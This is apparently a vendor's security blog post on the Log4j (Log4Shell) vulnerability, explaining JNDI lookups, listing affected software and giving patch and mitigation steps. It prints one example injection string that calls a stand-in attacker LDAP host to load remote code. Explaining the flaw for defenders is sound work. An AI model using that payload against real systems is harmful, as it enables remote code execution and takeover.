Exploits our radar: Apache Log4j

One of the most popular game of all time has been hit with perhaps the worst exploit ever. If performed correctly, it allows malicious players to take control of another player’s computer while playing on the Minecraft server.
The Apache Software Foundation has released fixes to contain the zero-day vulnerability that is affecting the widely-used Apache Log4j Java-based logging library that could be weaponized to execute malicious code allowing complete takeover of the vulnerable systems.
With the official Apache patch being released, 2.15.0-rc1 was initially reported to have fixed the CVE-2021-44228 vulnerability, but a subsequent bypass was discovered. A newly released 2.15.0-rc2 version was in turn released, which protects users against this vulnerability.

What is Log4j?

Apache Log4j is an open-source Java-based logging framework, that is that is used in a variety of different software by a number of manufacturers including Amazon, Cisco, Red Hat, Apache Struts, ElasticSearch, Redis, Kafka and others.

Affected Software

A significant number of Java-based applications are using log4j as their logging utility and are vulnerable to this CVE. At least of the following software may be impacted:

  • Apache Dubbo
    • Spring-Boot-starter-log4j2
    • Apache Flink
    • Apache Druid
    • ElasticSearch
    • Kafka
    • Apache Struts
    • Logstash
    • Flume
    • Apache Solr

How Attackers Wait On Networks to Exploit Log4j

An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.
The challenge here is finding Log4j because of the way Java packaging works. It’s possible that Log4j is hiding somewhere in your application, and you don’t even know it.

Analysis

Log4j 2.x supports a mechanism called “lookups”, which is usually used to setup the Log4j configuration flexibly for users. A normal can add values to the configuration at arbitrary places with the predesigned format by using this feature. In more detail, when calling the log method in the application, Log4j will call the format method to check specific characters “${” in each log.
Should these “${” syntax characters be present, the Java method “lookup” will be called to find strings after the characters “${” and replace the expression after those characters with the real value found before. Basically characters after “${” will be considered parameters of the “lookup” method and be replaced with corresponding values.
There are several types of lookup supported, such as JNDI Lookup which allows variables to be retrieved by JNDI. In the JNDI lookup, several protocols are supported to make the remote lookup, such as LDAP. Attackers can form strings as shown below: ${jndi:ldap://ATTACKER.IP/malicious_java_class}
This sets a malicious Java class on the attacker-controlled LDAP server, the “lookup” method will be used to execute the malicious Java class on the remote LDAP server.

Demo

Watch the Log4j vulnerability being exploited by Nowcomm’s Security Analyst Ervinas

Prevent Log4j

How can we try to fix the vulnerability? The first thing you should do is to update any applications using old versions of log4j-core-2.x.x.jar to the latest versions. log4j-core-2.17.1 at this time. Speak to your software vendors about this.

Mitigation steps:

  1. Add Web Application firewall rules which prevent headers with JNDI content.
  2. Patch the Log4j library to 2.17.1.
  3. Disable the Log4j library.

Another option is to evaluate if the Log4J library in use supports executing the JVM with the option:

JAVA_OPTS=-Dlog4j2.formatMsgNoLookups=true

This disables the lookup functionality to remote servers. This fix should be possible for versions starting at 2.10.0.

Older releases from 2.0-beta9 to 2.10.0 can be mitigated by removing the JndiLookup class from the classpass. The command to do this is:

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

There are tools available on the internet that can test if the application is vulnerable to Log4j.

A useful tool https://log4shell.huntress.com/ which is open source and can be found on GitHub: https://github.com/huntresslabs/log4shell-tester.

Related posts

All about the Department for Education Connect the Classroom initiative

Cloud Telephony for Public Sector

How is SASE Helping the Public Sector?

Hybrid workers are here to stay, but is your business ready?

How does call recording and analytics improve customer services?

A Quick Guide to Zero Trust Security

New phish in town – Browser-in-the-browser attack

Dubber on Webex – Call Insights and AI for Public Sector

Deep dive into the world of Secure Cloud Analytics

How is contact centre technology transforming the customer experience?

Exploits our radar: Apache Log4j

Cisco Secure Endpoint vs Microsoft Defender: Which one to choose?

From nice-to-have to business essential: why security matters for every business

How the adoption of digital accelerated collaboration technology

Active hacker groups on our radar: DarkSide

PrintNightmare Windows Print Spooler attack vs Cisco Endpoint Protection (AMP)

Nowcomm to launch a series of Hands-on Cyber Security Masterclasses

Nowcomm and Cisco are to demonstrate live, the detection, remediation and triage of security threats on the following upcoming webinar.

What to do about Microsoft Exchange’s four zero-day vulnerabilities?

How does one of the most attacked companies in the world keep their remote workforce secure?